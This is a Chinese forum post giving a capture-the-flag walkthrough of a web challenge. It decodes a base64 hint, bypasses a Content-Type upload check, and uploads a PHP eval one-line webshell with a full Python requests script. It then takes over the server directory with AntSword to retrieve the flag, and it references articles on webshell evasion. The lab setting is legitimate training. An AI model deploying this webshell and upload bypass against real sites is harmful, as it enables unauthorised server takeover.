首页
社区
课程
招聘
[原创]CTF2024签到题
发表于: 2024-9-1 22:38 1001

[原创]CTF2024签到题

2024-9-1 22:38
1001

1. 准备工作

  1. fiddle 抓包工具
  2. 中国蚁剑
  3. 需要有Python环境

2. 进入2024 CTF 签到题

(1)第一种方式

进入官网,选择CTF栏,点击进入签到题,然后启动靶机

(2)从特定网址进入

进入网址f61K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6C8j5%4c8X3i4K6u0W2K9$3q4F1P5s2g2W2i4K6u0W2j5$3!0E0i4K6u0r3j5$3S2S2L8r3I4W2L8X3N6W2M7#2!0q4c8W2!0n7b7#2)9^5b7#2!0q4z5g2)9^5x3q4)9^5z5g2!0q4y4W2)9^5b7W2!0m8z5g2N6W2j5W2)9J5k6q4)9J5k6q4)9J5y4X3N6@1i4K6y4n7i4@1f1&6i4K6R3H3i4K6R3&6i4@1f1$3i4K6S2n7i4@1p5&6d9@1y4f1c8U0t1H3x3U0c8Q4y4h3k6Q4c8e0N6Q4b7f1c8Q4b7V1g2Q4c8e0g2Q4z5o6S2Q4b7U0m8Q4c8e0W2Q4b7e0u0Q4z5e0R3`.

选择启动靶机

提示靶机已经部署,可以开始答题了

选择“题目链接”,进入题目

不推荐第二种方式,因为可能分数不会记录到kctf平台

3. 解题过程

(1)步骤1

进入题目后,点击左上角的Hint,会进入到9baK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Q4x3V1q4Q4x3X3g2F1L8$3c8W2i4K6u0W2M7r3g2V1K9i4W2Q4x3X3g2U0L8$3#2Q4x3@1p5^5x3g2)9J5c8X3k6D9j5h3N6Q4x3X3g2H3K9s2m8Q4c8e0g2Q4z5f1y4Q4b7U0m8Q4c8e0g2Q4z5f1c8Q4z5o6m8Q4c8e0c8Q4b7U0S2Q4b7f1c8Q4c8f1k6Q4b7V1y4Q4z5p5x3`.

(2)步骤2

右击当前界面--->查看网页源代码或者使用快键键ctrl + U,然后再网页源代码中,翻到最底下,可以看见一串base64编码后的字符串

将“aGlkZGVuX3BhZ2UucGhw”解码后为:hidden_page.php

这个根据命名单词来看,像一个隐藏页,那么进入网址输入栏中,将flag.php替换成hidden_page.php。

可以发现打开了一个上传文件的网页代码。

根据以往的出题经验以及网页中出现一个上传文件的操作,基本可以确定的是,本题考核的重点为“网络安全之文件漏洞”这系列的知识点,

使用php木马脚本访问服务器目录

参考以下资料:

【浅谈网络安全之文件上传】b36K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5K9h3g2Q4x3X3g2A6L8X3k6G2M7g2)9J5k6h3y4F1i4K6u0r3j5i4u0@1K9h3y4D9k6g2)9J5c8U0M7$3j5X3p5K6y4U0l9@1j5U0b7^5k6X3t1H3k6h3f1#2x3U0S2T1j5X3q4U0x3e0l9`.

【[探索网络安全:浅析文件上传漏洞】7c7K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2U0L8X3u0D9L8$3N6K6i4K6u0W2j5$3!0E0i4K6u0r3k6%4g2G2P5r3W2S2L8%4W2#2i4K6u0r3M7q4)9J5c8U0p5^5x3K6l9$3y4U0M7^5

(3)步骤3

当我们随意上传一个文件时,会提示只接收jpg和png图片格式的文件,

那么说明这个题目还带有文件格式校验,一般的校验会有以下几种方式:

  1. 网页源码中判断当前上传的文件类型
  2. 通过检查文件头信息(如png,jpg等)
  3. 上传文件以二进制形式下载,且不能在服务器端运行,防止木马文件直接执行
  4. 网络请求中对content-type字段进行判断

等等,那么进行逐一排查后发现,该题目采用的是对content-type字段进行判断,那么,可以采用Python编写网络请求的方式,进行绕过

首先使用fiddle进行网络抓包,抓取当前上传文件的网络请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST http://540e6f55-5819-4634-a929-e8c8098f8bec.node.pediy.com:81/hidden_page.php HTTP/1.1
Host: 540e6f55-5819-4634-a929-e8c8098f8bec.node.pediy.com:81
Connection: keep-alive
Content-Length: 114786
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://540e6f55-5819-4634-a929-e8c8098f8bec.node.pediy.com:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRONsmeocBVn0GPig
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://540e6f55-5819-4634-a929-e8c8098f8bec.node.pediy.com:81/hidden_page.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
 
------WebKitFormBoundaryRONsmeocBVn0GPig
Content-Disposition: form-data; name="upload_file"; filename="RaingDay.jpg"
Content-Type: image/jpeg
 
     JFIF         C 
  

抓取到的请求包如上所示,

那么接下来要做的是,如何将php一句话木马程序上传至服务器,并对服务器目录进行访问,

使用Python编写一个脚本,对当前服务器上传一个文件即可,只需要更改content-type字段为:'image/jpeg'即可上传任意类型的文件,

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
 
url = "a17K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0f1@1x3r3f1$3k6U0f1#2i4K6u0V1y4e0R3I4z5g2)9J5k6o6b7$3x3K6c8Q4x3X3c8S2z5e0t1&6i4K6u0V1k6e0S2U0z5o6l9&6z5r3j5^5j5X3g2U0y4e0b7H3k6e0k6X3y4e0g2Q4x3X3b7#2z5o6p5&6i4K6u0V1y4o6j5K6y4q4)9J5k6r3p5&6x3U0W2Q4x3X3c8W2z5r3x3^5x3o6V1^5k6U0S2T1k6h3y4Q4x3X3g2F1L8$3c8W2i4K6u0W2M7r3g2V1K9i4W2Q4x3X3g2U0L8$3#2Q4x3@1p5^5x3g2)9J5c8X3S2A6k6r3c8W2L8W2)9#2k6Y4m8S2k6$3g2Q4x3X3g2H3K9s2l9`."
headers = {
    "Host": "540e6f55-5819-4634-a929-e8c8098f8bec.node.pediy.com:81",
    "Connection": "keep-alive",
    "Cache-Control": "max-age=0",
    "Upgrade-Insecure-Requests": "1",
    "Origin": "1fcK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0f1@1x3r3f1$3k6U0f1#2i4K6u0V1y4e0R3I4z5g2)9J5k6o6b7$3x3K6c8Q4x3X3c8S2z5e0t1&6i4K6u0V1k6e0S2U0z5o6l9&6z5r3j5^5j5X3g2U0i4K6u0W2L8X3!0V1k6g2)9J5k6i4m8W2k6r3W2&6i4K6u0W2j5$3!0E0i4K6y4m8z5o6p5`.",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Referer": "310K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0f1@1x3r3f1$3k6U0f1#2i4K6u0V1y4e0R3I4z5g2)9J5k6o6b7$3x3K6c8Q4x3X3c8S2z5e0t1&6i4K6u0V1k6e0S2U0z5o6l9&6z5r3j5^5j5X3g2U0i4K6u0W2L8X3!0V1k6g2)9J5k6i4m8W2k6r3W2&6i4K6u0W2j5$3!0E0i4K6y4m8z5o6q4Q4x3V1k6Z5K9h3c8V1k6h3&6Q4y4h3k6H3j5h3N6W2i4K6u0W2M7r3S2H3",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
}
 
# 文件内容
file_content = '''<?php @eval($_POST['shell']); echo"luck"; ?>'''
 
# 将文件内容写入到一个文件中
with open('dongtai.php', 'w',encoding='utf-8') as f:
    f.write(file_content)
 
# 将文件加入到请求的文件部分,并指定 Content-Type
files = {
    'upload_file': ('dongtai.php', open('dongtai.php', 'rb'), 'image/jpeg', {'Content-Type': 'image/jpeg'})
}
 
# form-data 中的其他字段
data = {
    'submit': '上传'
}
 
# 发送 POST 请求
response = requests.post(url, headers=headers, files=files, data=data)
 
# 打印响应内容
print(response.text)

执行代码即可,需要注意的是,更改url地址及其header中对应的url地址

(4)步骤4

打开URL地址栏,输入715K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0f1@1x3r3f1$3k6U0f1#2i4K6u0V1y4e0R3I4z5g2)9J5k6o6b7$3x3K6c8Q4x3X3c8S2z5e0t1&6i4K6u0V1k6e0S2U0z5o6l9&6z5r3j5^5j5X3g2U0i4K6u0W2L8X3!0V1k6g2)9J5k6i4m8W2k6r3W2&6i4K6u0W2j5$3!0E0i4K6y4m8z5o6q4Q4x3V1k6#2M7r3I4G2j5h3c8Q4x3V1k6V1L8$3&6Y4N6r3q4A6i4K6u0W2M7r3S2H3 (需要更改前部分的地址)

为啥我会知道有upload这个目录,因为经验,比如管理界面一般是userAdmin.pho,root.php等

界面中显示如下,即成功上传php文件,

现在打开中国蚁剑,右击选择添加数据,在打开的窗口中

URL地址:填入完整的url地址,比如582K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0f1@1x3r3f1$3k6U0f1#2i4K6u0V1y4e0R3I4z5g2)9J5k6o6b7$3x3K6c8Q4x3X3c8S2z5e0t1&6i4K6u0V1k6e0S2U0z5o6l9&6z5r3j5^5j5X3g2U0i4K6u0W2L8X3!0V1k6g2)9J5k6i4m8W2k6r3W2&6i4K6u0W2j5$3!0E0i4K6y4m8z5o6q4Q4x3V1k6#2M7r3I4G2j5h3c8Q4x3V1k6V1L8$3&6Y4N6r3q4A6i4K6u0W2M7r3S2H3

链接密码:shell

其他默认即可

然后点击测试连接,提示连接成功即可,点击保存

双击上面这个刚刚建立的链接,然后就会进入到当前web后台的目录

最后,点击"/",进入最开始的根目录,就可以找到藏起来的flag了。

将该文件下载下来,就可以看见flag了,

本来以为还需要执行一次php文件,结果不用,尴尬

flag打开为:

4.总结

主要考查对网络安全方面的知识点,关于一句话木门,可以参考以下资料

【浅谈一句话木马】9caK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6r3N6h3&6U0N6p5k6S2L8W2)9J5c8X3N6W2N6%4g2*7P5W2)9J5k6s2y4W2j5%4g2J5K9i4c8&6i4K6u0r3j5X3I4G2j5W2)9J5c8X3#2S2M7%4c8W2M7W2)9J5c8Y4N6W2j5W2)9J5k6r3q4F1i4K6u0V1M7i4g2S2L8W2)9J5c8Y4W2A6i4K6u0V1K9Y4g2Q4x3X3c8Z5N6h3q4Q4x3X3c8E0N6g2)9J5k6r3#2S2i4K6u0W2L8h3b7`.

【一句话木马免杀】912K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6n7N6h3N6r3L8%4u0Q4x3X3c8b7K9h3&6Y4M7#2)9J5c8W2m8t1f1s2N6W2j5Y4y4Z5k6h3I4D9


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回